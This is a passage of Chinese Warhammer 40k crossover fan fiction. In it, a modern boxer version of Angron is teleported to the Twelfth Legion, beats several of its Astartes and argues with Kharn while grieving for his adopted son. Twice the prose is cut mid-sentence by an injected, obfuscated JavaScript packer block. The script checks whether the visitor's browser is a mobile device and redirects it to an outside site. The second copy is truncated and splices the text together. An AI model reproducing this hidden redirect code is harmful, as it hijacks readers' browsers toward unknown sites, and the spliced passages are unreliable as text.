《2k安格隆穿越战锤40k》 1. 开端 幽冥的宇宙之中,一艘恢弘的战舰内。 安格隆恍惚了一下,随即便被一种撕裂灵魂的疼痛拉走了注意力。他疼得冷汗直流,自我在剧痛中近乎抽离,半空中那耀眼的金色光球刺得他五感都混乱了。金色光球里面似乎有个人影,但他看不清。 他的手上黏黏糊糊的,经验告诉他那是血的触感。他杀人了吗?他终于要和卡恩一起疯了吗?安格隆脑中闪过一段残影,他刚刚似乎在这个不知名的地方手撕了一位甲胄骑士。他们是谁? “这里是远离努凯里亚的群星。” 一个陌生而冰冷的声音在安格隆脑海里响起。 这声音像一把尖刺,在他的脑浆里搅了又搅——某种装置触发了,一个类似恶毒沙虫的装置紧紧咬住他的脑干。狂怒在安格隆心中不可避免地喷发,尽管他不知道为何而怒。 “你不该被那场战争拖累,你要去往更庞大的战场,为更遥远、更伟大的人类理想而战。”那个声音如此说道。 “不——不!!!!”安格隆被不可思议的痛苦折磨着,他根本不理会那金色光球说的鬼话,他更重要的事情要做。可他的记忆一直在下坠,坠入某个漆黑的地方,被吞噬得一丝波澜都不曾泛起。他再也想不起来了,只有无可凭依的本能在坚持拒绝,空洞的灵魂被痛苦填满。 “如果你执意拒绝,那么……我很抱歉。” 随着最后的判决声落下,安格隆被传送走了。 …… 寂静的宇宙之海中,悬停着一架超重型巡洋舰,里面的阿斯塔特压抑而欣喜等待着。他们来自以嗜杀好战著称的十二军团,因战功赫赫被帝皇赐予“战犬”之名。 但这艘巡洋舰上的“战犬”们看不出半点战场上肆意屠戮的模样。他们罕见的没有穿动力甲,而是穿着整洁的蓝白色军装,袖口的金边花纹在灯光下熠熠生辉,列队等候的动作与军团准则一模一样,脸上保持着肃穆的神情,唯有双眼微微透露些许激动。皆因带领他们的军团长,基尔,正是最为在意纪律之人。 基尔深知他的战斗兄弟们有着如何狂放的杀戮野性,他自己也有。所以他必须严加管理。如果没有纪律,十二军团“战犬”将沦为毫无理性的战争野兽,毫无荣誉可言。哪怕十二军团因为缺少基因原体,而一直被派往危险而边缘的战场,被一次次要求进行不加节制的屠杀,基尔也希望自己的纪律管理能成为勒住军团的缰绳。至少在将军团展现给基因原体时,基尔可以骄傲地汇报,战犬没有辱没基因原体的名声。 现在正是那个时刻。 前不久,基尔接到来自“帝皇幻梦”号的消息,帝皇的战舰找到了十二军团的原体,安格隆。 安格隆将在“帝皇幻梦”号稍作停留,然后传送到这艘超重型巡洋舰上,由基尔为安格隆介绍军团情况,开启大远征之旅。 基尔难以描述接到这条消息时的欣喜若狂。时间太紧,战犬们又被分到了不同军团进行作战,基尔只能就近命令第八连的阿斯塔特,以及一些重要军官,一起登上了这艘超重型巡洋舰。星语者指引着航行,阿斯塔特们迫不及待地前往目的地等待。 “帝皇幻梦”号没有传送安格隆的任何影像资料,没有公布安格隆的发现母星,也没有分享安格隆的更多事迹。直到今日,传来的讯息仅有孤零零的一条: “等待,辅佐,跟随安格隆进行大远征。” 这也许是出于某种政治意图。 基尔敏锐地察觉到他们基因原体的寻回之旅并不顺利,但是此时喜悦占据了上风。他在脑海里一遍遍排练自己的汇报语句,并想象着安格隆可能有的反应。他会愿意并乐意接纳战犬吗?他会觉得十二军团还需要哪方面的磨炼?他们相见时,会有其他军团阿斯塔特所说的那种“基因呼应”之感吗? 帝皇为了远征银河、给予全人类安宁未来的伟大事业,创造了二十一个超人类造物——原体。 又以原体为基因模版,创造了二十个军团的强大星际战士——阿斯塔特。 可以说,帝皇之于原体,原体之于对应军团的阿斯塔特,相当于古泰拉父子血脉相连的关系。 父亲。 基尔迫不及待地将对安格隆的称呼换为这个。 忽然,他感到自己体内的血液似乎都在沸腾,他所有的器官都为接下来的时刻紧张。这不是遇到危险的预兆,这一定是他即将面见基因之父的欢喜。他的本能比他更先一步做出回应。 阿斯塔特超人的耳力听见荣誉大厅内重物落地的声音,一道呼吸声忽然在荣誉大厅内突兀地响起。 有人入侵了,不,是有人被传送过来了,是原体!是安格隆!是父亲! 基尔,这位十二军团的军团长,以最后一丝定力检查自己的着装,然后紧张又满怀期待地走入荣誉大厅。他可以第一个面见父亲,第一个为父亲介绍军团,这正是他身为军团长的特权。 他看见了—— 看见了一位身姿威严的巨人。在原体三米多高的身高下,平均两米多高的阿斯塔特就像小鸡仔一样瘦弱。 安格隆站在阴影处,未曾着甲,每一寸肌肉线条都蕴含着暴力之美。他背部爬着一条狰狞而漫长的血色疤痕,这无损他的荣光容貌,反而让他增添许多凶性。基尔立刻联想到战场上的战犬们,为父子间的相似性感到一丝安慰。 “很荣幸能向您汇报,我是十二军团的基尔,我们等待这个荣耀的时刻太久了,父——” 基尔截住了话语。 因为安格隆转头,金色的眼睛燃烧着熊熊怒火。基尔还注意到父亲脑袋上插着如钢缆般的造物,似发辫般垂在脑后。 那是什么东西? 基尔有众多疑问,却再也说不出话。因为安格隆瞬间掐住了他的脖颈,强大的军团长在原体面前不值一提。安格隆单手拎起他,英俊的容貌因为愤怒而扭曲。 “你们这群该死的!!” 基尔的气管被碾扁,脖颈供血的缺少使他的头几乎要像气球一样炸开,生命维持系统发出急促的警报。 安格隆此刻还沉浸在帝皇带给他的痛苦中。一切都太不可理喻了! 他原本在大街上好好走着,忽然就丢失了一段记忆,然后场景就转换到一个富丽堂皇的地方,一颗金色大球神经兮兮地让自己带领军团“大远征”。 还没等自己搞明白怎么回事,他身边的场景又忽然转变,一个形迹可疑的军人从背后靠近自己,脸上带着贵族的笑容,说一些自己听不懂的话! 最糟糕的是,安格隆的头痛又开始折磨他。 自从见到那个金色大球后,他的头痛便愈演愈烈。 他的头痛症从出生起就咬着他不放。唯有在八角笼中,在击倒对手时,安格隆才能从这久远的痛苦牢笼中获得一丝宁静。 头痛发作时,是安格隆的对手最惨的时刻。 此时,他尤其不能容忍有可疑的陌生人接近自己。 安格隆掐紧了基尔的脖颈,像甩鞭一样将他甩到墙上。荣誉大厅的墙砖破碎,水晶灯轰然炸裂,大厅外的阿斯塔特紧张地皱紧眉头,却因为纪律规定而一言不发。基尔软软地瘫在地上,咳出许多血,震惊而失落地看向安格隆。 安格隆感觉到自己可以徒手把这个男人撕碎,可是一些常识制止了他——杀人要坐牢,他现在可没钱找律师。 而且这个男人看上去也太矮了,他一开始还以为对方至少有自己肩膀高,等对方走近了才发现其实是个矮子——杀死一个弱小的矮子没有任何荣誉可言。 安格隆没有意识到是自己长高了。他的另外一部分大脑依旧在愤怒,与疼痛。于是他威胁性地朝对方大吼:“狗崽子!这是哪里!你们要干什么!” 基尔只是咳血,他的发声部位被完全破坏了。他试图站起来维持礼节。可安格隆不给他这个机会,用更猛烈的拳头击倒基尔,直到他完全失去意识。 在大厅外等候的阿斯塔特们也听到了这怒吼,他们敏锐的五感捕捉到了更多细节,令人担忧的血腥气从门内漫出门外。他们再也坐不住,大门被推开,第一连冠军战士昆纳率先拿起链锯斧闯进来。 “冠军”是阿斯塔特对队伍最强者的荣誉称谓,而第一连一般是军团中最强者的集合。作为第一连的冠军,昆纳首先忧心他的连长及原体是不是遭遇伏击了,其次才有心思在意他拿武器进来是否符合纪律。 “基尔!”他快速奔过旋转楼梯,高声喊道。 但当他迈入大厅时,上空突然传来电路爆炸的“噼啪”声,整个荣誉大厅陷入彻底的黑暗,唯有链锯斧上的动力源灯条发出微弱的光。 昆纳懊恼自己没察觉敌人的动作,握紧链锯斧,闻到越来越浓的血腥味,心下更慌。他压低声音问道:“原体大人?” ——斧头。 ——一把带链锯齿轮、可能有涵盖电动装置的斧头。 ——一把危险的、会对自己造成伤害的斧头。 ——霍恩的颅骨竞赛玩那么大了吗? 安格隆忍着头痛,在拿着武器的敌人走下来的一瞬间,当即锤烂了看似电源箱的东西。但这似乎没用,在微光情况下,他依旧能看清周围有许多展品与照片,上面写了许多陌生的文字。他看多了两眼后,大脑似乎渐渐学会了这门新文字。 他在黑暗中朝昆纳走去。昆纳警惕地举起链锯斧,借着链锯斧上的光能带看到一张神像般的脸。他还没来得及细想,武器就被空手夺走了。 “原体!” “父亲!” 他只来得惊呼这两句话,然后便被一拳砸向墙边,肩胛骨断裂戳出皮肉外,血流不止。他很快和基尔一样失去了意识。 不安弥漫在门外等候的战犬心中。 数人走出队列。其中突击小队队长安齐兹说道:“我们按照军衔依次进去觐见原体,不管里面发生了什么,战犬的纪律不能丢下。”众人脸色沉重地点头。安齐兹又道:“把我的链锯斧拿来!如果里面真有宵小之辈,打扰我们与父亲相逢的神圣时刻!我绝不轻饶他!!” 链锯斧送到他手上。安齐兹怒气冲冲地闯进荣誉大厅,可是除了惊呼一声“原体”,也什么动静都没有了。 这下所有人都听清楚了。他们内心有个可怕的猜想,里面并没有什么入侵者。如此迅猛地打倒他们同伴的,或许正是原体! 阴霾与血腥已经染污了这个荣誉相逢的时刻。 “这或许是父亲大人的考验。我等应前去接受考验,然后劝说父亲带领十二军团。”海厄辛肃穆地走出队列,两名掌旗官硬要同行。 队列中的战犬相互对视一眼,又走出一名军士长,凡契。他深受基尔军团长重用,以强悍的武力与忠诚赢得大家的尊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16160745|180617||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重。 他沉默不语地跟在海厄辛后面,宛若只是跟着队伍前去训练。 第二连的辛纳根也拿起链锯斧冲了出去,眉头紧皱,似乎察觉到自己即将肩负的重任。 漆黑的荣誉大厅内,所有人都看见了那隐藏在阴影里的巨人轮廓。 以及生死不明的三位战士,包括那受人尊敬、统领十二军团许久的基尔。 “车轮战?为什么……”安格隆喃喃自语,金色的眼珠因剧痛而抽搐抖动。 “很抱歉基尔军团长使您不悦,但他统领十二军团许久,兄弟们都很尊重他。请您告诉我们他所犯的错误!”其中一个陌生人道。 本来安格隆还听不懂他们的语言,但随着话语越来越多,他便掌握了其中的规律。几句话后,一门新的、从未在他生活出现的语言体系被他彻底掌握了。 “闭嘴!!”另一位人怒斥同伴,“父亲,我们会按照规定处理基尔的错误,请您息怒!” “父亲,请您告诉我们基尔还有其他人他们怎么了?是有人入侵……还是帝皇的命令?” “惹怒父亲就是最大的不正确!” “我是十二军团的海厄辛,父亲,请允许我先将犯错之人拖走,别让他玷污了这神圣之地……” “父亲,这里是十二军团,也是您的军团。帝皇曾赐予十二军团‘战犬’之名……” “我不是你们的父亲!你们这群杂种!”安格隆怒吼道,“给我安静!”狂怒充斥着安格隆的心灵,他用自己的方式让这些人立刻闭嘴,并无法起身了。 噩梦成真了。 随着安格隆的咆哮响彻荣誉大厅,一切都安静下来。 整艘超重型巡洋舰比宇宙最深处还要寂静。 一切都静默了。 机仆的行走声,士兵的训练声,阿斯塔特们为未知的未来发出的窃窃私语,所有的一切都停止了。 滴答滴答。 半晌后才有新的声音从荣誉大厅响起。 滴答滴答。 那是血砸向荣誉大厅特制石板的声音。 一股茫然弥漫在阿斯塔特之间。他们面面相觑,大多数只是困惑。一些人下意识按照规定寻找下一个能进去劝说原体的士兵,最高阶的军团长失败了,第一连的军官失败了,第二连的前辈再没有出来。他们只来了两千多人,大多数是八连的士兵,而八连有百夫长却还没有选连长。 “我们需要一个连长进去……接受原体的挑战。”一位士兵说道。 “如果要我承认一位连长,我只会选择卡恩。”另一个人道。 “卡恩?” 众人看向一位面部光洁、尚显年轻的军官。他叫卡恩,和大多数简单粗暴的战犬不同,他总是更倾向于思考,思考大远征,思考战犬的未来,从不把愤怒摆在明面上。 被提到的军官先审视了所有人一圈。他需要确定此刻是否有人胆敢逃避面见原体以逃避自己的死亡,那他会立刻将对方的腿打断。 审视完毕。很好,至少现在没有人露怯,大家只是有点不知所措了。 卡恩深呼吸,品尝着空气里传达的情绪。其实他的思绪也乱如飘摇的宇宙射线,可他不能表现出来。 把它当做一场战斗,卡恩,从现在开始就是战斗时刻,第一步先稳定军心。 当卡恩再一次看向他的战友们时,他的神情已经变得从容而坚毅。 “我们找到了我们的原体。”卡恩重复道,“无论我们现在心里在想什么,我们都不能忽略这点。我们找回了原体,战犬找到了它的主人。” 一股自豪感在众人心中油然而生,连卡恩也涌出许多无法克制的欣喜。他继续道: “原体,是帝皇交给我们的统帅。帝皇在创造我们之初就运用了他的基因模版。原体本该在泰拉之战就率领我们,可因为一些意外,原体们散乱在银河四处。如今他来了,我们就服从他的命令,正如我们本该做的那样,不会有比这更正确的事实了。 “今后,十二军团不再会被其他人强硬地命令分成不同连队,只为了补充不同战场上的战线。我们不会再被其他军团的荣光所遮盖,接下来的每一场作战都将被我们的原体注视。如果有穿得金光闪闪的监军敢再对我们指手画脚的话,这次我们可以大声让他滚回去!因为我们只会听从原体的命令!今后我们将在战争中喊出‘为了帝皇!为了安格隆!’ “至于八连长。”卡恩在结尾处开了个玩笑,“这个位置早就是我的囊中之物了,不是吗?” 凝重的气氛被缓和了,信任回归了。战犬们重新凝聚起坚毅之心,静候本该到此的军团之主。 但还是有几个不会被卡恩语言迷惑的家伙。卡恩看了一眼,发现都是与他作战多时的老朋友,要么就是些久经沙场的老兵。不过他们就算看出来卡恩的语言诡计,也不会不识相到当场戳穿。 还有什么可担心的呢?最简单的第一步已经完成了。 卡恩转过身去,面向荣耀大厅的灰色大门。他整理了一番自己的制服,有人在背后提醒他:“不带动力斧吗?” 卡恩没理会他,心想如果他失败了,下次进去的人就会记得带动力斧了。 他再度深呼吸,告诫自己最难的挑战即将到来。这次挑战连平日恪守纪律的基尔都以失败告终,可他最好——必须是成功。 2. 初次见面 卡恩来到漆黑的荣耀大厅,被浓厚的血腥味所环绕。 他尽量不去看地上不知生死的战友们,直直往前,直到在红外模式下看见他们原体。 “又来一个。”安格隆冷冷地说。 在干翻8个人后,他的头痛好了很多。 所以意识到自己来到一个被小矮人包围的陌生时代,他内心稍微有点毛毛的。 但更多的是焦灼与害怕。他前不久才买了新房子,要在那里好好照顾得了疯病的卡恩,什么拳击手生涯,什么颅骨外债,他通通不管了! 如果他现在穿越到未知时代,那卡恩怎么办? 卡恩会拿起消防斧,喊着什么“八重之道”“鲜血远征”等等胡话,把整个村庄的人都屠戮干净,把他自己以及众多人的人生通通毁掉!尽管那些治安官平日不干正事,但这么大的骚动一定会出现国家力量。他的卡恩会被击毙,报纸上会刊登“斧头杀手”骇人听闻的一生,他聪明伶俐的养子就再也无人记得了。 他必须赶回去,卡恩是他唯一的家人! 安格隆忍不住咬牙切齿,发出“咯咯”的撞击声,对莫名其妙绑架自己的大金球恨意更深。 卡恩在离安格隆三米处站定。阿斯塔特经过手术改造,有了双心三肺,体格更远超凡人,普遍在两米以上。 但一切和原体比起来是那么的逊色,超过三米的身高足以让任何凡人产生巨物恐惧,而经帝皇之手创造的面容更是完美中的完美。卡恩忍不住抬头凝望他的原体。 原体的视力比阿斯塔特敏锐得许多。早在卡恩过来的一瞬间,安格隆便轻易地看清卡恩的面容。 他愣了半晌,才找回自己的声音,声音似乎比之前更愤怒: “你的武器呢?小纸人,我不与手无寸铁之人搏斗。” 似乎开了个坏头……卡恩冷静道:“原体大人,我不是为了与您搏斗而来,我是为了传达十二军团的意志而来。我只是信使,不是您的敌人。” “原体大人……原体大人?”安格隆喃喃地重复这一称呼,怒火在心中集聚。 他朝卡恩吼道:“你不与我对战,可你明明有站在我面前的勇气。你是瞧不起我吗!” 他多希望这个对手不要那么平静,最好如他一样充满怒火,不然撕裂这个新敌人也难平他心头之恨! 现在不是战斗的好时机,做一个信使,顺从你的原体,卡恩。卡恩数着自己的心跳,感受皮肤分泌的凝胶气味,忍耐着战斗的本能。 卡恩道:“大人,我不是为了搏斗而来,所以就算死亡横在我面前。我也不会反击。我们遵从帝皇的意志四处征战,收服那些被异形侵扰的人类家园。我们侍奉着可敬的帝皇——” 安格隆怒极反笑:“在我生存的地方,皇室只是爱出自传与丑闻的废物,我从来不认什么帝皇。我不属于这里!挑一个武器,小子!难道你要比前面八个走下来的人还要温顺吗!” 不,对战是不会有效的,前面八个人正论证了这点。卡恩斗胆看向安格隆的双眼,毫无察觉自己露出一个笑容。 他在战友面前绝无假话,找到原体,面见原体,这个事实足以令他感到快乐。 他抓紧时间说道:“如果帝皇没有和您解释,那一定是把这神圣的任务放在了我们身上。正是帝皇以他神圣的基因创造了原体们,并以原体们的基因创造了军团们。 “若以基因看待,十二军团皆是您的子嗣。若以统率关系看,十二军团将是您最忠诚的下属。无论如何,我们都迫切地渴望您,渴望面见您的身影,渴望得到您的率领,一起在银河深处留下我们的传说。 “我从前在原体佩图拉博的军团下作战,亲眼见证了第四军团找到他们原体后所焕发的骄傲,那时我便在幻想我们的原体什么时候能归来呢……每一次发现新的行星,我们都希望找到原体在上面的消息,可那都是一次次的失望,直到今天——” “你说的什么怪话!”安格隆的反应大得吓人,“你到底在傻笑什么!” “砰!” 安格隆一拳砸向了墙壁,震动似乎传到巡洋舰的每一个舱室。不远处连拥有保护立场守卫的、记录战犬众多胜利的荣耀石板也裂成两半。 卡恩差点以为自己要一命呼呜了。 幸好没有打到自己。 而且对待原体,抒情并不有效。 卡恩默默想道。 然后赶紧压下自己都没意识到的嘴角。 “别对我念长诗,我不在乎什么大远征和帝皇。我的家人还在等着我,我甚至不惜为此杀人。”安格隆再度冷静了些,“你有两个选择,要么送我回去,要么和你的绵羊同伴一样躺在这里。” “您可以带领十二军团去任何地方。”卡恩忍不住为他的战友辩驳,“在我之前的八个人不是绵羊,他们只是出于对您的忠诚才躺在地上。如果您需要,那就动手吧,我绝不会比他们更多动一次。” “你真以为我不敢动手!”一股巨大的冲力将卡恩摁在墙上,金色的双瞳在卡恩脸上来回审视,原体威严的声音令人不寒而栗,“现在看看,会是谁先后悔?” 卡恩的脸色变得酱红,但他的战斗思维仍在持续分析。他尽力谦逊对原体说道:“我们不后悔。我们的职责是扫除一切挡在人类未来的障碍,战斗是我们功能,服从命令是我们的天性。十二军团只是帝皇大远征的工具,今后也会成为您呼来喝去的工具。” 安格隆的愤怒瞬间砸下来: “工具!工具!工具!真恶心!为什么!” 他的怒吼变了形,像是龙卷风在哀嚎: “我不想当你的主人,也不想当帝皇的奴隶!我说了不想待在这里听不到吗!我拒绝了那么多遍都听不懂吗!让我回去!回去!” 卡恩在对待原体的态度列表上默默划去了“示弱”这一项。 他努力让自己气息平稳,在安格隆的桎梏下仍然说出一句完整的话:“您要去哪呢?” 安格隆的声音也弱下来,似乎在逃避什么可怕的真相:“地球……” “附近没有名为‘地球’的行星……”卡恩回忆了一番,如实回答,“帝皇用灵能将您传送过来。他是最伟大的灵能者,所以这传送距离也许非常遥远。银河星系上达千亿,如果要回去您的母星,要询问‘帝皇幻梦号’相关坐标,再让星语者带领我们回去。但一切都需要帝皇的批准,如今大远征迫在眉睫……” ……帝皇或许不会批准。 卡恩将这后半句话咽回去,因为他看见安格隆露出万分疲惫的神色。 安格隆松开手,任由卡恩滑落墙角。卡恩顺势单膝跪下以示忠诚。安格隆瞟了他一眼,像看见什么脏东西似的将目光收回去。 “我知道……我知道……我又落入一个类似霍恩的人手中。”安格隆摇头,又在自言自语,“没有区别……你们都没有区别……” 安格隆从卡恩口中听到许多新名词,他迅速地理解了大致意思。种种细节都在宣告,命运彻底将他和他的家人剥离了,他来到一个狗屎新世界。 头痛又开始侵袭安格隆的大脑。如果这痛苦再强烈点就好了,让他彻底沉沦在痛苦里。他按着太阳穴,忍不住道:“你若独自一人在那边,你的未来该怎么办呢?卡恩……” 半跪的卡恩莫名其妙但挺直腰背:“是的,我在这里。” 安格隆杀人的目光瞪向卡恩。 卡恩手足无措:“我、我也叫卡恩……” 安格隆冷笑:“正好,我不喜欢揍无名之辈。” 卡恩头脑风暴一刻也不曾停歇,他好像终于找到交流的突破口了:“您的家人也叫‘卡恩’……您如此看重他,这会让我、让这里的每一位战犬都羡慕。” 安格隆一下子变得无可奈何,但一提起卡恩他就有很多话讲: “他是我的养子,我把他从小抚养长大。我一开始登上八角笼,是为了挣口饭吃;后面登上八角笼,是为了让我们的生活过得更好……” 他的原体从前竟然是这样的人。卡恩有些惊讶,但做出洗耳恭听的模样。 安格隆:“他很聪明,很冷静,也很耐揍。我有时候讨厌他这点,但有时候真不得不佩服他。他忍受着我的坏毛病,帮我整理烦人的文件,还能帮霍恩跑腿。他勤工俭学,在吵闹的环境里学习,竟然能成功考进大学,还拿了奖学金。我不是个好父亲,但他是我最好的儿子。” 卡恩:“听上去他有光荣的一生。” 安格隆:“我一直没有亲口对他说,养大他才是我人生中的第一块奖牌。” 卡恩这下真的有些嫉妒。 “战犬们的基因模版都来自您,战犬们也是您的子嗣。”卡恩不再说了,因为安格隆的脸色又变得冰冷。 安格隆像念出仇人名单一样说道:“你,战犬们,战犬们的帝皇,让我和我的家人分开了。” 他的情绪比之前更糟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“据我所知,铁血号上确实没有舷窗。”卡恩道。 安格隆扯了扯嘴角。 两人之间的气氛达到目前为止最为平静的时刻。 “给我们一个机会吧,请相信我们。”卡恩乘胜追击,“十二军团已经与帝皇相互立誓。我也对外面的战犬立誓,要么躺在这里,要么让你接纳我们。无论如何,我的命都属于你了。” 安格隆没有回应,沉默地看着他。 卡恩再度变得惴惴不安。 一会儿后,安格隆才说道:“你是忠诚无畏的战士,却不是为了我,而是为了你的帝皇。” 卡恩正想说点什么,却看见安格隆的阴影压下来。 “我不会对你动手,我愿意尊重你,并听听你们有什么好卖弄的。但这是最后一次,小矮子。不要在我面前提‘帝皇’。” 卡恩僵硬地点头。 他迅速复盘整场对话,发现种种矛盾的根源都在“帝皇”二字。帝皇是他忠诚的对象,安格隆也是他的忠诚的对象,这两人怎么会出现矛盾。卡恩一时想不明白。 “现在,我们能离开这个房间了?”安格隆又问道。 “这是您的舰船,您的地盘。”卡恩为自己的失礼感到抱歉。当他走到大门,发现大门被反锁了,心里的愧疚感更深。战犬们面见原体第一天竟敢把原体锁在荣誉大厅,真是大逆不道。他连忙拍门,喊外面的士兵开锁。 解锁阀启动了,大门打开,浓郁的血腥气飘出来。台阶上的巨人阴影让阿斯塔特们倒吸一口凉气。 卡恩率先走出阴影,做出连长的做派,让所有阿斯塔特下意识站好军姿。 “战犬们,高声庆贺吧,这一次无需遵守纪律。”卡恩有些苦中作乐地想,最看重纪律的那一位还躺在地上哩。“迎接我们的原体、血缘之父、军团之主,安格隆!” 所有的阿斯塔特都被这句话鼓舞着,之前的茫然瞬间一扫而空。他们举起战斧,或高举挥舞,或与同伴相击庆祝,欢呼声震耳欲聋。 “为了安格隆!” “为了帝皇!” 卡恩感觉到背后传来原体如有实质的目光。他在内心祈求,不,别在这里因“那个词汇”发火,至少让他与战友们庆祝完这段时间。 所幸安格隆只是在看他,什么也没做。 安格隆被陌生矮子的欢呼包围着,并无多大激动感受。 他一直在盯卡恩,内心则不停地嘀咕: 见鬼了,两个世界的卡恩怎么会那么像…… 3. 卡恩 安格隆原本出生在20世纪。等他有记忆时,已经在街头小巷里流浪许久。 他总觉得自己该有一群角斗士组成的家人,然而事实是他流离失所,举目无亲。 为了找到那种熟悉的家人感,也为了改变自己的人生,安格隆走进阴暗逼仄的地下拳馆,用每一次挥拳为自己赢取金钱与胜利。 渐渐的,安格隆发现了自己的强大,他的拳头总是比别人更快更硬,他的胜利总是更加容易,他总是赢。无论是双眼乌黑的街头青年,还是满面愁容的家庭主妇,他们的脸在见到安格隆那一刻就被点亮了。他们用欢呼与尖叫将安格隆捧成八角笼的明星,将安格隆视为拯救这座无聊城市乃至于他们无聊人生的英雄。 但安格隆依旧没有找到自己的家人,他的生命似乎被谁刻意挖去了一部分。 直到他遇见卡恩。 小小的卡恩被8个名为“猩红8字”的□□打倒在地。安格隆恼怒无比,冲上去将那些混蛋揍得屁滚尿流。然后他看向卡恩,卡恩不知什么时候站起来了。他鼻青脸肿,鼻血长流,却咬紧牙关,做出防御的姿态。 “喂,你就只会挨打?”安格隆上下打量这个只到他腰间的小孩。 “因为我没有办法。”卡恩警惕地回答他,这条街鱼龙混杂,谁都不可信。 “如果我再长大些,我就会让他们知道什么叫‘后悔’。”卡恩继续道,“如果命运能容忍我长大的话。” “你一个小狗崽知道什么叫命运?”安格隆觉得好笑。 卡恩摇摇头,又点点头,道:“我没有伤害过别人,连偷窃都没有,却被这群人无缘无故地围堵,打了半天,打得快要吐血了。这就是命运。这街上没有一个大人肯帮我,除了你,这也是命运。我没有办法抵抗命运。” 安格隆有所动容。一群角斗士的幽魂仿佛围绕在他身边,一只巨大而温暖的手在冥冥之中按在他的肩膀上。安格隆也将自己的手按在卡恩肩上。一瞬间,他们都感觉某种温暖的力量在体内流通。 “那些围观的人不是故意的,我们都明白,他们只是害怕。”安格隆以不可思议的温和说道,“跟我走,我们一起对抗这些命运。” 卡恩深深地看了他一眼,然后用力点头。 此后他们便生活在一起。安格隆依旧思念自己素未谋面的角斗士家人,但他把更多感情移情到卡恩身上。 他要给卡恩更好的生活,于是琢磨着成为一名职业拳击手。 许多俱乐部都给他递来邀约,安格隆看着字多如繁星的合同就感到头大。幸好有卡恩帮他。卡恩以超出成人的严谨审核合同,拒绝了8个藏有霸王条约的俱乐部,然后盯着最新一份合同发呆。 安格隆拿过那份合同,发现上面有着天价出场费及奖金,但要求安格隆参加他们的内部秘密赛事,颅骨排位赛。 这家有着奇特合同的俱乐部名为“颅骨俱乐部”,其老板是一个坐在轮椅上的青年,霍恩。他身家不菲,据说黑白通吃。但霍恩发誓,他的颅骨俱乐部绝对不沾毒/赌/黄,只有纯粹的技艺比赛。他创办这家俱乐部也不是为了赚钱,而是为了欣赏勇士。 安格隆就这么被忽悠进去了。 一开始还是好的,霍恩并不介意安格隆有难以解决的头痛症,大手一挥把医保也交了,还提议安格隆尝试用比赛缓解头痛,鼓励安格隆多多打比赛。 霍恩还慷慨地给卡恩提供了勤工俭学的位置,说卡恩有事没事都可以来逛逛。 安格隆倍感安心,猛猛胜利,账户上的钱猛猛增加。 他赚到了新驾照,赚到了新别墅,赚到了令人羡慕的社会地位。他开着豪车去大学接卡恩,很容易分辨出那些贫穷孩子投来的羡慕目光。正所谓幸福源于比较,安格隆曾经和他们一样,没有家庭支持,孤身闯荡,如今他的孩子却和这些孩子截然不同了。安格隆为自己成为一个成功的好父亲而骄傲。 但当安格隆人至中年,感觉赚够了,萌生退意时,霍恩却忽然翻脸。 他拿起比三层楼还长的账单,说安格隆如今欠债累累,要给他打工直至四万年后。 安格隆说霍恩想当资本家想疯了,四万年后人类还没摆脱资本主义吗。 霍恩说契约已经签下,安格隆不可能脱身。 安格隆和霍恩吵起来,骂不过对方,只能怒气冲冲地走了。 霍恩的声音如同幽魂般追着他:“命运有多种分支,但已经成为历史的,重复多次也不会更改。如今我们的关系已成定局,未来的棋局再也不会有变数……卡恩真是一枚忠诚于我的好棋子,他将你从众多帷幕中钓出来,我才能顺利找到你……” “闭嘴!滚你蛋的命运!”安格隆捂着脑袋大骂,街上行人纷纷传来异样目光。 等安格隆回到家,开门却看见第二条噩耗。 卡恩手持消防斧,以不可思议的狂怒,把价值上百万的大理石桌面劈成两半。 然后他看向门口的安格隆,眼神是多么的恨铁不成钢、欲语泪先流、哀莫大于心死,又有一点点绝处逢生的欣喜。 但安格隆无法理解,他头痛欲裂,看着满地狼藉,口不择言地责怪卡恩。 父子间的冲突一触即发。安格隆轻而易举地收拾了卡恩,但他们的平静生活如同碎掉的大理石长桌一样再也回不去了。 那时他是不是应该先联系心理医生而不是保险公司?听说大学的学业压力都很大,卡恩或许只是被那些符号数字天书逼疯了。 他是不是该关心卡恩的交友状况而不是成绩?卡恩只带过几次朋友回家,但无论是安格尔泰还是西吉蒙德斯看起来都是正派的好孩子。 还是说问题出在自己身上,颅骨俱乐部其实是个气氛有毒的组织,大家不得不打拖着伤病参加比赛,拼命刷KPI,自然没有什么心理健康可言。安格隆原本不在乎,但看卡恩后来变成那个样子,便不得不考虑这方面的影响了。 总而言之,那一天以后,卡恩整个人都变了。他有时絮絮叨叨着一些“这一定是鲜血之父的磨炼”“我要把这颗星球的颅骨都献给血神”、“血祭血神颅献颅座”的怪话,破坏他看到的一切东西。安格隆不得已带他搬了一次又一次家,为卡恩伤害的路人与公共设施请律师周旋、签赔偿单、上门道歉。 有时卡恩又会捂着脑袋,眼皮抽搐,痛哭流涕,念叨着“父亲”“为什么你原本是这样的”“我没有办法”。 安格隆手足无措地抚摸他的背,用一些笨拙的话安慰卡恩。 他猜测或许是在喊霍恩的事,霍恩说过,以前他故意派卡恩诱导安格隆走进颅骨俱乐部,但卡恩那时那么小,能知道什么事呢? 安格隆并不怪卡恩。他们是家人,只要在一起,只要家人的情谊还在,一切都可以抵抗。 只要他还在卡恩身边……
